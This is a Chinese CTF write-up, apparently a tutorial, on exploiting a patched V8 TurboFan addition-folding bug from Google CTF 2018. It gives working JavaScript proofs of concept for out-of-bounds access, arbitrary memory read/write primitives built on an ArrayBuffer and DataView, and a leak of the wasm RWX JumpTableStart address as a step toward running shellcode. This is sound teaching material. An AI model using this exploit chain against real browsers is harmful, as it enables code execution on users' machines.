1234567891011121314// v8/src/flag-definitions.h// 设置`FLAG_untrusted_code_mitigations`#ifdef DISABLE_UNTRUSTED_CODE_MITIGATIONS#define V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS false#else#define V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS true#endifDEFINE_BOOL(untrusted_code_mitigations, V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS, "Enable mitigations for executing untrusted code")#undef V8_DEFAULT_UNTRUSTED_CODE_MITIGATIONS// 设置`FLAG_branch_load_poisoning`DEFINE_BOOL(branch_load_poisoning, false, "Mask loads with branch conditions.") 12345678910111213# BUILD.gndeclare_args() { # ... # Enable mitigations for executing untrusted code. # 默认为true v8_untrusted_code_mitigations = true # ...}# ...if (!v8_untrusted_code_mitigations) { defines += [ "DISABLE_UNTRUSTED_CODE_MITIGATIONS" ] }# ...

这样就会使得load_poisoning始终为PoisoningMitigationLevel::kPoisonCriticalOnly,因此始终无法执行checkBounds的优化操作。所以我们需要手动设置编译参数v8_untrusted_code_mitigations = false,以启动checkbounds的优化。

以下是一个简单checkbounds优化的例子

12345678910function f(x){ const arr = new Array(1.1, 2.2, 3.3, 4.4, 5.5); let t = 1 + 1; return arr[t];}console.log(f(1));%OptimizeFunctionOnNextCall(f);console.log(f(1));

优化前发现存在一个checkBounds:

执行完SimplifiedLoweringPhase后,CheckBounds被优化了:

基础概念介绍到这里,接下来我们学习一道CTF题来练练手。

六、Google CTF 2018(final) Just-In-Time 1. 简介

Google CTF 2018(final) Just-In-Time 是 v8 的一道基础题,适合用于v8即时编译的入门,其目标是执行/usr/bin/gnome-calculator以弹出计算器。在这里我们通过这道题目来学习一下v8的相关概念。

这道题的题解在安全客上有很多,但由于这是笔者初次接触 v8 的题,因此这次我们就详细讲一下其中的细节。

题目来源 - ctftime - task6982 Just-In-Time 官方附件及其exp - github 2. 环境搭建

题目给的附件(ctftime中的附件,不是github上的附件)内含一个已编译好的chromium和两个patch文件。

nosandbox.patch : 该文件用于关闭renderer的沙箱机制。 addition-reducer.patch : 本题的重头戏。 chromium :版本号为70.0.3538.9的二进制包(已打patch)

不过由于笔者已经搭了v8的环境,因此决定采用源码编译的方式来编译出一个v8,这样的好处是可以更方便的进行调试。该题的v8版本为7.0.276.3,可以通过chrome://version来获取,或者去OmahaProxy CSV Viewer中查询。

1234567891011121314151617# 开代理sudo service privoxy startexport https_proxy=http://127.0.0.1:8118export http_proxy=http://127.0.0.1:8118# 切换chromium版本cd v8/git checkout 7.0.276.3 # 如果需要force,则添加-f参数。gclient同样如此。gclient sync # 这一步需要代理(很重要),需要N久,取决网速。# gclient sync完成后再打个patchgit apply ../../../CTF/GoogleCTF2018_Just-In-Time/addition-reducer.patch# 设置一下编译参数tools/dev/v8gen.py x64.debug# 设置允许优化checkboundsecho "v8_untrusted_code_mitigations = false" >> out.gn/x64.debug/args.gn# 编译ninja -C out.gn/x64.debug

为什么要设置v8_untrusted_code_mitigations = false,请查看上面关于SimplifiedLoweringPhase中checkbounds优化的简单讲解。

这里可能是因为出题者忘记给出v8的编译参数了,否则默认的编译参数将无法利用漏洞。

3. 漏洞成因

新打的patch将在turboFan中的TypedLoweringPhase中添加了一种优化方式。

123456789101112131415161718192021222324252627282930313233343536373839Reduction DuplicateAdditionReducer::Reduce(Node* node) { switch (node->opcode()) { case IrOpcode::kNumberAdd: return ReduceAddition(node); default: return NoChange(); }}Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) { DCHECK_EQ(node->op()->ControlInputCount(), 0); DCHECK_EQ(node->op()->EffectInputCount(), 0); DCHECK_EQ(node->op()->ValueInputCount(), 2); Node* left = NodeProperties::GetValueInput(node, 0); if (left->opcode() != node->opcode()) { return NoChange(); } Node* right = NodeProperties::GetValueInput(node, 1); if (right->opcode() != IrOpcode::kNumberConstant) { return NoChange(); } Node* parent_left = NodeProperties::GetValueInput(left, 0); Node* parent_right = NodeProperties::GetValueInput(left, 1); if (parent_right->opcode() != IrOpcode::kNumberConstant) { return NoChange(); } double const1 = OpParameter(right->op()); double const2 = OpParameter(parent_right->op()); Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2)); NodeProperties::ReplaceValueInput(node, parent_left, 0); NodeProperties::ReplaceValueInput(node, new_const, 1); return Changed(node);}

该优化方式将优化诸如x + 1 + 2这类的表达式为x + 3,即以下的Case4:

但是,还记得我们之前所提到的,NumberConstant的内部实现使用的是double类型。这就意味着这样的优化可能存在精度丢失。举个例子:

即,x + 1 + 1不一定会等于x + 2!所以这种优化是存在问题的。

这是为什么呢?原因是浮点数的IEEE764标准。当一个浮点数越来越大时,有限的空间只能保留高位的数据,因此一旦浮点数的值超过某个界限时,低位数值将被舍弃,此时数值不能全部表示,存在精度丢失。

而这个界限正是 $2^{53}-1 = 9007199254740991$,即上图中的MAX_sAFE_INTEGER。

123456// 以下是double结构的9007199254740991值,可以看到正好是double结构所能存放的最大整数。+------+--------------+------------------------------------------------------+‭| sign | exponent | fraction |+------+--------------+------------------------------------------------------+| 0 | 00000000001 | 1111111111111111111111111111111111111111111111111111‬ |+------+--------------+------------------------------------------------------+

由于x + 1 + 1 Range(5, 5) let t = (x == 1 ? 9007199254740992 : 9007199254740989); // 此时 t => 解释/编译 Range(9007199254740989, 9007199254740992) t = t + 1 + 1; /* 此时 t => 解释:Range(9007199254740991, 9007199254740992) 编译:Range(9007199254740991, 9007199254740994) */ t -= 9007199254740989; /* 此时 t => 解释:Range(2, 3) 编译:Range(2, 5) */ return arr[t];}console.log(f(1));%OptimizeFunctionOnNextCall(f);console.log(f(1));

Type后的结果如下,可以看到checkbounds的检查可以通过:

因此该checkbounds将在SimplifiedLoweringPhase中被优化:

输出的结果如下:

注:输出结果中的DuplicateAdditionReducer::ReduceAddition Called/Success,是打patch后的输出内容,在原v8中没有该输出。

可以看到,成功将两个+1操作优化为+2,并在最末尾处成功越界读取到一个数组外的元素。

这里需要说一下构建poc可能存在的问题:

POC1:无 if 分支

123456789101112131415function f(x){ const arr = [1.1, 2.2, 3.3, 4.4, 5.5]; // 这里没有使用上面if xxx这样的语句,直接一个整数赋值 // let t = Number.MAX_SAFE_INTEGER + 1; let t = 9007199254740992; t = t + 1 + 1; t -= 9007199254740989; return arr[t];}console.log(f(1));%OptimizeFunctionOnNextCall(f);console.log(f(1));

问题点:由于函数中常数与常数相加减,因此在执行TypedLoweringPhase中的ConstantFoldingReducer时,三个算数表达式会直接优化为一个常数,这样就没办法执行DuplicateAdditionReducer。

解决方法:使用一个if分支,这样就可以通过phi结点来间接设置Range。

以下是一些玄学问题。

POC2:使用Number.MAX_SAFE_INTEGER

12345678910111213function f(x){ const arr = [1.1, 2.2, 3.3, 4.4, 5.5]; let t = (x == 1 ? Number.MAX_SAFE_INTEGER + 1 : Number.MAX_SAFE_INTEGER - 2); t = t + 1 + 1; t -= (Number.MAX_SAFE_INTEGER - 2); return arr[t];}console.log(f(1));%OptimizeFunctionOnNextCall(f);console.log(f(1));

问题点:在GraphBuilderPhase中,type feedback推测目标函数的参数只会为1,因此turboFan推测函数中的条件判断式 “恒”成立 ,故在InliningPhase中优化merge结点,使得变量t始终为一个常数。

之后就执行TypedLoweringPhase中的ConstantFoldingReducer再次将其优化为一个常数,以至于无法执行DuplicateAdditionReducer优化。

通过turbolizer我们可以看出,若判断条件为真,则将优化好的结果输出;若判断条件为假,则说明type feedback出现错误,需要执行deopt。

至于为什么先前的poc不会优化merge结点,而当前这个poc会优化merge结点,

这个问题仍然需要进一步探索。

解决方法:

不同时在 if 语句的两个分支处使用Number.MAX_SAFE_INTEGER

1234567891011121314function f(x){ const arr = [1.1, 2.2, 3.3, 4.4, 5.5]; let t = (x == 1 ? Number.MAX_SAFE_INTEGER + 1 // 修改了此处 : 9007199254740989); t = t + 1 + 1; t -= (Number.MAX_SAFE_INTEGER - 2); return arr[t];}console.log(f(1));%OptimizeFunctionOnNextCall(f);console.log(f(1));

在执行%OptimizeFunctionOnNextCall前,使函数调用传入的参数不单一:

1234567891011121314function f(x){ const arr = [1.1, 2.2, 3.3, 4.4, 5.5]; let t = (x == 1 ? Number.MAX_SAFE_INTEGER + 1 : Number.MAX_SAFE_INTEGER - 2); t = t + 1 + 1; t -= (Number.MAX_SAFE_INTEGER - 2); return arr[t];} console.log(f(1));console.log(f(0)); // 添加了此行%OptimizeFunctionOnNextCall(f);console.log(f(1));

POC3:不使用let/var/const修饰词

1234567891011121314function f(x){ // 错误:arr前没有let、var或者const arr = [1.1, 2.2, 3.3, 4.4, 5.5]; // 错误:t 前没有let t = (x == 1 ? 9007199254740992 : 9007199254740989); t = t + 1 + 1; t -= 9007199254740989; return arr[t];}console.log(f(1));%OptimizeFunctionOnNextCall(f);console.log(f(1));

问题点:经过gdb动态调试可知,若数组前没有修饰词,则CheckBounds的上一个结点LoadField结点将不会被LoadEliminationPhase优化,这样使得数组length结点的范围最大值为134217726,最后导致无法成功优化CheckBounds结点:

同时,若变量t前没有修饰词,则越界的add操作将被check出,进而设置值为inf/NaN,之后的减法就无法计算出我们所期望的Range值:

解决方法:添加修饰词。

因为没有修饰词 let / var 的变量都是全局变量,而 Load Elimination 的优化对作用域有一定的要求,因此全局变量的 LoadField 结点将不会被优化。

POC4:使用整数数组

123456789101112function f(x){ const arr = [1, 2, 3, 4, 5]; let t = (x == 1 ? 9007199254740992 : 9007199254740989); t = t + 1 + 1; t -= 9007199254740989; return arr[t];}console.log(f(1));%OptimizeFunctionOnNextCall(f);console.log(f(1));

问题点:执行console.log时崩溃:

解决方法:更改数组类型。经过一番测试,发现貌似只能改成浮点数数组,改成其他类型的输出都会崩溃。

小结:构造POC需要重复多次 修改代码 => 观察输出 => 从turbolizer中查看结点图 => 分析错误原因 这个过程,有时还需要给源码打patch和上gdb调试,需要耐心。

构造POC时,只需要关注两个重点:

能否成功执行DuplicateAdditionReducer优化

能否成功优化CheckBounds结点。

如果这两个条件都满足,那基本上构建出的POC可以OOB了。

2) 越界读取

POC有了,那我们试着看一下越界读取到的内存位置,

不出以外的话应该是最后一个元素5.5的下一个8位数据:

123456789101112131415function f(x){ let arr = [1.1, 2.2, 3.3, 4.4, 5.5]; let t = (x == 1 ? 9007199254740992 : 9007199254740989) + 1 + 1; t -= 9007199254740989; console.log(arr[t]); // 将arr数组详细信息输出 %DebugPrint(arr);}f(1);%OptimizeFunctionOnNextCall(f);f(1);// 下断点,使v8在gdb中暂停%SystemBreak();

启动GDB,可以看到 d8 自动暂停执行:

之后我们可以找到DebugPrint出的数组内存地址:

每个Object内部都有一个map,该map用于描述对应结构的相关属性。其中包括了当前Object的实例大小,以及一些供GC使用的信息。通过上面的输出,我们可以得到,当前JSArray的实例大小只有32字节。

map的具体信息请查阅源码 src/objects/map.h 中的注释。

因此,数组中的其他元素肯定存放于另一个数组,而这个数组的类型为FixedDoubleArray,其地址存放于JSArray中。

需要注意的是:v8 中的指针值大多被打上了tag,以便于区分某个值是pointer还是smi。

因此在gdb使用某个地址时,最低位需要手动置0。

以下是某个 JSArray 的内存布局:

注意到 JSArray中,第四个8字节数据(即上图中的0x0000000500000000)存放的是当前数组的length(5),即便数组元素并没有存放在当前这块内存上。

123// v8/src/objects/js-array.h// static const int v8::internal::JSObject::kHeaderSize = 24static const int kLengthOffset = JSObject::kHeaderSize;

回到刚刚的话题,数组的值被存放在FixedDoubleArray中,因此我们输出一下内存布局看看:

可以看到,它越界读取到的数据与先前猜测的一致,即最后一个元素的下一个8字节数据。

同时我们还可以从 gdb 的输出中注意到,一个 JSArray的length 即在 JSArray 中保存,又在 FixedDoubleArray 中存放着,这个也可以在源码中直接定位到操作:

1234567891011121314151617// v8/src/objects/js-array-inl.hvoid JSArray::SetContent(Handle array, Handle storage) { EnsureCanContainElements(array, storage, storage->length(), ALLOW_COPIED_DOUBLE_ELEMENTS); DCHECK( (storage->map() == array->GetReadOnlyRoots().fixed_double_array_map() && IsDoubleElementsKind(array->GetElementsKind())) || ((storage->map() != array->GetReadOnlyRoots().fixed_double_array_map()) && (IsObjectElementsKind(array->GetElementsKind()) || (IsSmiElementsKind(array->GetElementsKind()) && Handle::cast(storage)->ContainsOnlySmisOrHoles())))); // length既保存在 JSArray 中,也保存在 FixedArrayBase里 array->set_elements(*storage); array->set_length(Smi::FromInt(storage->length()));}

但实际上, FixedDoubleArray 中的 length 只用于提供有关固定数组分配的信息,而越界检查只会检查 JSArray 的length,这意味着我们必须修改 JSArray 的 length 才可以进行任意地址读写。

以下是检测数组访问是否越界的代码:

123456789101112131415161718192021222324252627282930313233343536// v8/src/ic/ic.ccbool IsOutOfBoundsAccess(Handle receiver, uint32_t index) { uint32_t length = 0; if (receiver->IsJSArray()) { // 获取 JSArray 的 length JSArray::cast(*receiver)->length()->ToArrayLength(&length); } else if (receiver->IsString()) { length = String::cast(*receiver)->length(); } else if (receiver->IsJSObject()) { length = JSObject::cast(*receiver)->elements()->length(); } else { return false; } // 判断是否越界 return index >= length;}KeyedAccessLoadMode GetLoadMode(Isolate* isolate, Handle receiver, uint32_t index) { // 一开始就判断越界 if (IsOutOfBoundsAccess(receiver, index)) { // ... } return STANDARD_LOAD;}/*函数调用栈帧: #0 v8::internal::(anonymous namespace)::IsOutOfBoundsAccess #1 v8::internal::(anonymous namespace)::GetLoadMode #2 v8::internal::KeyedLoadIC::Load #3 v8::internal::__RT_impl_Runtime_KeyedLoadIC_Miss #4 v8::internal::Runtime_KeyedLoadIC_Miss #5 Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit ....*/

为了验证上述内容的正确性,笔者手动用gdb修改了 JSArray 的 length,发现在 release 版本的v8下可以越界读取。但在 debug 版本下,会触发FixedArray中的DCHECK检查导致崩溃:

12// v8/src/objects/fixed-array-inl.hDCHECK(index >= 0 && index < this->length());

因此在编译 debug 版本的 v8 时,需要手动注释掉src/objects/fixed-array-inl.h 中越界检查的DCHECK

请勿直接编译 release 版本的v8来关闭DCHECK,这会大大提高调试难度。

b. 构造任意地址读写 1) JSArray 修改 length

我们将 FixedArray 的内存布局输出,可以发现 JSArray 和 FixedArray 的数据是紧紧相邻的,且 FixedArray 位于低地址处,这为我们修改 JSArray 的 length 提供了一个非常好的条件:

现在我们可以试着越界修改一下 JSArray 的 length。需要注意我们必须越界四格才能修改到length,因此需要稍微修改一下POC越界的范围:

123456789101112131415161718192021222324252627282930313233function f(x){ let arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6]; // length => Range(7, 7) let t = (x == 1 ? 9007199254740992 : 9007199254740989); // 此时 t => 解释/编译 Range(9007199254740989, 9007199254740992) t = t + 1 + 1; /* 此时 t => 解释:Range(9007199254740991, 9007199254740992) 编译:Range(9007199254740991, 9007199254740994) */ t -= 9007199254740990; /* 此时 t => 解释:Range(1, 2) 编译:Range(1, 4) */ t *= 2; /* 此时 t => 解释:Range(2, 4) 编译:Range(2, 8) */ t += 2; /* 此时 t => 解释:Range(4, 6) 编译:Range(4, 10) */ console.log(arr[t]); %DebugPrint(arr);}f(1);%OptimizeFunctionOnNextCall(f);f(1);%SystemBreak();

最后输出了1.4853970537e-313,用gdb转换成int类型,刚好为7,这就意味着我们现在可以修改 JSArray 的 length 了。

试一试:

12345678910111213141516171819var oob_arr = [];function opt_me(x){ oob_arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6]; let t = (x == 1 ? 9007199254740992 : 9007199254740989); t = t + 1 + 1; t -= 9007199254740990; t *= 2; t += 2; // 将 smi(1024) 写入至 JSArray 的 length处 oob_arr[t] = 2.1729236899484389e-311; // 1024.f2smi}// 尝试优化for(let i = 0; i < 0x10000; i++) opt_me(1);// 试着越界读取一下console.log(oob_arr.length);console.log(oob_arr[100]);%SystemBreak();

可以发现,越界读写成功!

在附件chromium中试试发现也是可以正常工作的:

但我们发现 v8 和 chromium 输出的值不一样,所以调试 d8 编写 JS 后还需要到 chromium 这边验证一下。

这里有个注意点,在被turboFan优化过的函数中读写数组,其越界判断不会通过我们所熟知的Runtime_KeyedLoadIC_Miss函数,因此越界操作最好在被优化的函数外部执行。

现在我们已经成功让 JSArray 实现大范围向后越界读取,但这明显不够,因为 JSArray 只能向后越界读写 0x40000000字节,有范围限制。

123456// v8/src/objects/fixed-array.h#ifdef V8_HOST_ARCH_32_BIT static const int kMaxSize = 512 * MB;#else static const int kMaxSize = 1024 * MB;#endif // V8_HOST_ARCH_32_BIT

看样子我们可以再次声明一个 JSArray ,然后越界修改其 elements 地址以达到任意地址读写的目的?实际上是不行的,因为每一个 element 都有其对应的 map 指针,如果我们要通过修改 elements 地址来进行任意读的话,我们还必须在目标地址手动伪造一个 fake map,但通常我们是没有办法来伪造的。

因此接下来我们将引入漏洞利用中比较常用的类型:ArrayBuffer。

2) ArrayBuffer

ArrayBuffer是漏洞利用中比较常见的一个对象,这个对象用于表示通用的、固定长度的原始二进制数据缓冲区。通常我们不能直接操作ArrayBuffer的内容,而是要通过类型数组对象(JSTypedArray)或者DataView对象来操作,它们会将缓冲区中的数据表示为特定的格式,并且通过这些格式来读写缓冲区的内容。

而 ArrayBuffer中的缓冲区内存,就是 v8 中 JSArrayBuffer 对象中的 backing_store 。

需要注意的是,ArrayBuffer 自身也有 element。这个 element 和 backing_store 不是同一个东西:element 是一个 JSObject,而 backing_store 只是单单一块堆内存。 因此,单单修改 element 或 backing_store 里的数据都不会影响到另一个位置的数据。

以下是一个简单的 JS 测试代码:

123456buffer = new ArrayBuffer(0x400);int = new Int32Array(buffer);int[2] = 1024;buffer[1] = 0x200;%DebugPrint(buffer);%SystemBreak();

浏览器中输出的结果:

gdb中输出的地址信息:

我们可以很容易的推测出,那些 JSTypedArray 读写的都是 ArrayBuffer 的 backing_store,因此如果我们可以任意修改 ArrayBuffer 的 backing_store,那么就可以通过 JSTypedArray 进行任意地址读写。

JSTypedArray 包括但不限于 DataView、Int32Array、Int64Array、Float32Array、Float64Array 等等。

笔者将在下面使用DataView对象来对 ArrayBuffer 的 backing_store 进行读写。为了证明 DataView 修改的确实是 ArrayBuffer 中 backing_store 指向的那块堆内存,笔者找到其对应的代码:

注:以下代码来自v8/src/builtins/data-view.tq,代码语言为V8 Torque。该语言的语法类似于TypeScript,其设计目的在于更方便的表示高级的、语义丰富的V8实现。Torque编译器使用CodeStubAssembler将这些片断转换为高效的汇编代码。

更多关于该语言的信息请查阅 V8 Torque user manual。

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768// v8/src/builtins/data-view.tqjavascript builtin DataViewPrototypeSetFloat64( context: Context, receiver: Object, ...arguments): Object { let offset: Object = arguments.length > 0 ? arguments[0] : Undefined; let value : Object = arguments.length > 1 ? arguments[1] : Undefined; let is_little_endian : Object = arguments.length > 2 ? arguments[2] : Undefined; // 在越界检查完成后,继续调用 DataViewSet函数。 return DataViewSet(context, receiver, offset, value, is_little_endian, FLOAT64_ELEMENTS); }macro DataViewSet(context: Context, receiver: Object, offset: Object, value: Object, requested_little_endian: Object, kind: constexpr ElementsKind): Object { // 获取当前 DataView 类型 let data_view: JSDataView = ValidateDataView( context, receiver, MakeDataViewSetterNameString(kind)); // ... let littleEndian: bool = ToBoolean(requested_little_endian); // 获取当前 DataView 中的 Buffer,即对应的 ArrayBuffer let buffer: JSArrayBuffer = data_view.buffer; // ... else { let double_value: float64 = ChangeNumberToFloat64(num_value); if constexpr (kind == UINT8_ELEMENTS || kind == INT8_ELEMENTS) { // ... } // ... else if constexpr (kind == FLOAT64_ELEMENTS) { // 将一个64位值分解成两个32位值并写入Buffer. let low_word: uint32 = Float64ExtractLowWord32(double_value); let high_word: uint32 = Float64ExtractHighWord32(double_value); StoreDataView64(buffer, bufferIndex, low_word, high_word, littleEndian); } } return Undefined; }macro StoreDataView64(buffer: JSArrayBuffer, offset: intptr, low_word: uint32, high_word: uint32, requested_little_endian: bool) { // 获取写入的内存地址,这里取的是 ArrayBuffer 中的 backing_store // 可以看到这个结果与我们的预计是一致的。 let data_pointer: RawPtr = buffer.backing_store; // ... if (requested_little_endian) { // 将值写入 backing_store。 StoreWord8(data_pointer, offset, b0); StoreWord8(data_pointer, offset + 1, b1); StoreWord8(data_pointer, offset + 2, b2); StoreWord8(data_pointer, offset + 3, b3); StoreWord8(data_pointer, offset + 4, b4); StoreWord8(data_pointer, offset + 5, b5); StoreWord8(data_pointer, offset + 6, b6); StoreWord8(data_pointer, offset + 7, b7); } else { // ... } }

因此,现在我们可以试着构建任意地址读写原语

3) 任意地址读写原语

根据上面的分析,我们可以梳理一条这样的过程来构造任意地址读写原语:

通过 OOB 修改其自身 JSArray 的 length,从而达到大范围越界读写。 试着将 ArrayBuffer 分配到与 OOB 的 JSArray 相同的内存段上,这样就可以通过 OOB 来修改 ArrayBuffer 的 backing_store。 将 ArrayBuffer 与 DataView 对象关联,这样就可以在 JSArray 越界修改 ArrayBuffer 的 backing_store 后,通过DataView 对象读写目标内存。

需要注意的是,在确定 FixedDoubleArray 与 backing_store 之前的相对偏移时,最好不要使用硬编码。因为如果需要在当前内存段上再新建立一个对象时,原先的相对偏移很有可能会失效;而且不使用硬编码也可以更好的将 exp 从 v8 移植到 chromium上。

但不使用硬编码时,使用 for循环结果语句 来循环越界读取数组将会触发一个CSA_ASSERT:

123456// v8/src/code-stub-assembler.cc// in TNode CodeStubAssembler::LoadFixedDoubleArrayElementCSA_ASSERT(this, IsOffsetInBounds( offset, LoadAndUntagFixedArrayBaseLength(object), FixedDoubleArray::kHeaderSize, HOLEY_DOUBLE_ELEMENTS));

由于CSA_ASSERT只会在Debug版本下的 v8 生效,因此我们同样可以注释掉该语句再重新编译,不影响 chromium 中 exp 的编写。

综上所述,最后构造出的任意地址读写原语如下:

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182function log(msg){ console.log(msg); // var elem = document.getElementById("#log"); // elem.innerText += '[+] ' + msg + '\n';}/******* -- 64位整数 与 64位浮点数相互转换的原语 -- *******/var transformBuffer = new ArrayBuffer(8);var bigIntArray = new BigInt64Array(transformBuffer);var floatArray = new Float64Array(transformBuffer);function Int64ToFloat64(int){ bigIntArray[0] = BigInt(int); return floatArray[0];}function Float64ToInt64(float){ floatArray[0] = float; return bigIntArray[0];}/******* -- 修改JSArray length 的操作 -- *******/var oob_arr = [];function opt_me(x){ oob_arr = [1.0, 1.1, 1.2, 1.3, 1.4, 1.5, 1.6]; let t = (x == 1 ? 9007199254740992 : 9007199254740989); t = t + 1 + 1; t -= 9007199254740990; t *= 2; t += 2; oob_arr[t] = 2.1729236899484389e-311; // 1024.f2smi}// 试着触发 turboFan,从而修改 JSArray 的 lengthfor(let i = 0; i < 0x10000; i++) opt_me(1);// 简单 checkerif(oob_arr[1023] == undefined) throw "OOB Fail!";else log("[+] oob_arr.length == " + oob_arr.length);/******* -- 任意地址读写原语 -- *******/var array_buffer;array_buffer = new ArrayBuffer(0x233);data_view = new DataView(array_buffer);backing_store_offset = -1;// 确定backing_store_offsetfor(let i = 0; i < 0x400; i++){ // smi(0x233) == 0x0000023300000000 if(Float64ToInt64(oob_arr[i]) == 0x0000023300000000) { backing_store_offset = i + 1; break; }}// 简单确认一下是否成功找到 backing_storeif(backing_store_offset == -1) throw "backing_store is not found!";else log("[+] backing_store offset: " + backing_store_offset);function read_8bytes(addr){ oob_arr[backing_store_offset] = Int64ToFloat64(addr); return data_view.getBigInt64(0, true); // true 设置小端序}function write_8bytes(addr, data){ oob_arr[backing_store_offset] = Int64ToFloat64(addr); data_view.setBigInt64(0, BigInt(data), true); // true 设置小端序}/******* -- try arbitrary read/write -- *******/// 试着读取地址为 0xdeaddead 的内存read_8bytes(0xdeaddead);// 试着写入地址为 0xdeaddead 的内存write_8bytes(0xdeaddead, 0x89abcdef);

测试结果如下:

注:单次只能测试任意读或任意写,不能同时测试。

可以将目标数据写入目标地址:

可以从目标地址中读出数据

c. 泄露 RWX 地址

由于 v8 已经取消将 JIT 编码的 JSFunction 放入 RWX 内存中 ,因此我们必须另找它法。根据所搜索到的利用方式,有以下两种:

将 Array 的 JSFunction 写入内存并泄露,之后就可以进一步泄露 JSFunction 中的 code 指针。由于这个Code指针指向 chromium 二进制文件内部,因此我们可以将二进制文件拖入 IDA 中计算相对位移,获取 代码基地址 => GOT表条目 => libc基地址 => enviroment指针,这样就可以获取到可写的栈地址以及mprotect地址。

然后将 shellcode 写入栈里并 ROP 调用 mprotect 修改执行权限,最后跳转执行,这样就可以成功执行 shellcode。

此方法来自 Sakura 师傅,第四条参考链接。

v8 除了编译 JS 以外还编译 WebAssembly (wasm)代码,而 wasm 模块至今仍然使用 RWX 内存,因此我们可以试着将 shellcode 写入这块内存中并执行,不过这个方法有点折腾。

此方法来自 doar-e,第一条参考链接。

第一种利用方式非常的直接,利用起来应该没有太大的难度。因此出于学习的目的,我们选择第二种方式,学习一下 WebAssembly 的利用方式。

通过查阅这片文章 浅谈如何逆向分析WebAssembly二进制文件 - 安全客,我们可以获取到wasm的简易使用方式,并通过这个方式获取到 Wasm 的 JSFunction:

1234// C++ 代码 `void func() {}` 的 wasm 二进制代码let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,132,128,128,128,0,1,96,0,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,136,128,128,128,0,1,130,128,128,128,0,0,11]);let m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{});var WasmJSFunction = m.exports.func;

而对于一个 Wasm 的 JSFunction,我们可以通过以下路径来获取 RWX 段地址:

这条路径稍微有点长:JSFunction -> SharedFunctionInfo -> WasmExportedFunctionData -> WasmInstanceObject -> JumpTableStart。

从 JSFunction 出发,获取其 SharedFunctionInfo(相对偏移为 0x18)

之后从 SharedFunctionInfo 获取其 WasmExportedFunctionData(相对偏移为 0x8)

再从 WasmExportedFunctionData 中获取 WasmInstanceObject(相对偏移为 0x10)

最后从 WasmInstanceObject 中获取 JumpTableStart(相对偏移为 0xe8)

查看获取到的 JumpTableStart 位置处的数据,我们可以发现这里是一串汇编代码。给该位置下断,并在 JS 中执行一下 Wasm 的 JSFunction ,我们可以发现控制流被断点成功捕获:

以下是测试用的 JS 代码:

123456789101112131415// C++ 代码 `void func() {}` 的 wasm 二进制代码let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,132,128,128,128, 0,1,96,0,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5, 131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2, 6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,136,128,128,128, 0,1,130,128,128,128,0,0,11]);let m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{});var WasmJSFunction = m.exports.func;// 输出一下 Wasm JSFunction 地址,并获取其 JumpTableStart%DebugPrint(WasmJSFunction);// 之后在 gdb 中给 JumpTableStart 下个断点%SystemBreak();// 尝试执行 Wasm JSFunctionWasmJSFunction();%SystemBreak();

现在情况已经非常明了了,通过之前构建的任意地址读取原语,一步步读取 Wasm JSFunction 的各个属性并最终获取 RWX 内存地址:

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849function prettyHex(bigint){ return "0x" + BigInt.asUintN(64,bigint).toString(16).padStart(16, '0');}// C++ 代码 `void func() {}` 的 wasm 二进制代码var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,132,128,128,128, 0,1,96,0,0,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5, 131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2, 6,109,101,109,111,114,121,2,0,4,102,117,110,99,0,0,10,136,128,128,128, 0,1,130,128,128,128,0,0,11]);var m = new WebAssembly.Instance(new WebAssembly.Module(wasmCode),{});var WasmJSFunction = m.exports.func;// 将WasmJSFunction 布置到与 oob_arr 数组相同的内存段上// 这里写入了一个哨兵值0x233333,用于查找 WasmJSFunction 地址var WasmJSFunctionObj = {guard: Int64ToFloat64(0x233333), wasmAddr: WasmJSFunction};var WasmJSFunctionIndex = -1;for(let i = 0; i < 0x4000; i++){ // 查找哨兵值 if(Float64ToInt64(oob_arr[i]) == 0x233333) { WasmJSFunctionIndex = i + 1; break; }}// 简单确认一下是否成功找到 WasmJSFunctionAddrif(WasmJSFunctionIndex == -1) throw "WasmJSFunctionAddr is not found!";else log("[+] find WasmJSFunctionAddr offset: " + WasmJSFunctionIndex);// 获取 WasmJSFunction 地址WasmJSFunctionAddr = Float64ToInt64(oob_arr[WasmJSFunctionIndex]) - BigInt(1);log("[+] find WasmJSFunction address: " + prettyHex(WasmJSFunctionAddr));// 获取 SharedFunctionInfo 地址SharedFunctionInfoAddr = read_8bytes(WasmJSFunctionAddr + BigInt(0x18)) - BigInt(1);log("[+] find SharedFunctionInfoAddr address: " + prettyHex(SharedFunctionInfoAddr));// 获取 WasmExportedFunctionData 地址WasmExportedFunctionDataAddr = read_8bytes(SharedFunctionInfoAddr + BigInt(0x8)) - BigInt(1);log("[+] find WasmExportedFunctionDataAddr address: " + prettyHex(WasmExportedFunctionDataAddr));// 获取 WasmInstanceObject 地址WasmInstanceObjectAddr = read_8bytes(WasmExportedFunctionDataAddr + BigInt(0x10)) - BigInt(1);log("[+] find WasmInstanceObjectAddr address: " + prettyHex(WasmInstanceObjectAddr));// 获取 JumpTableStart 地址JumpTableStartAddr = read_8bytes(WasmInstanceObjectAddr + BigInt(0xe8));log("[+] find JumpTableStartAddr address: " + prettyHex(JumpTableStartAddr));

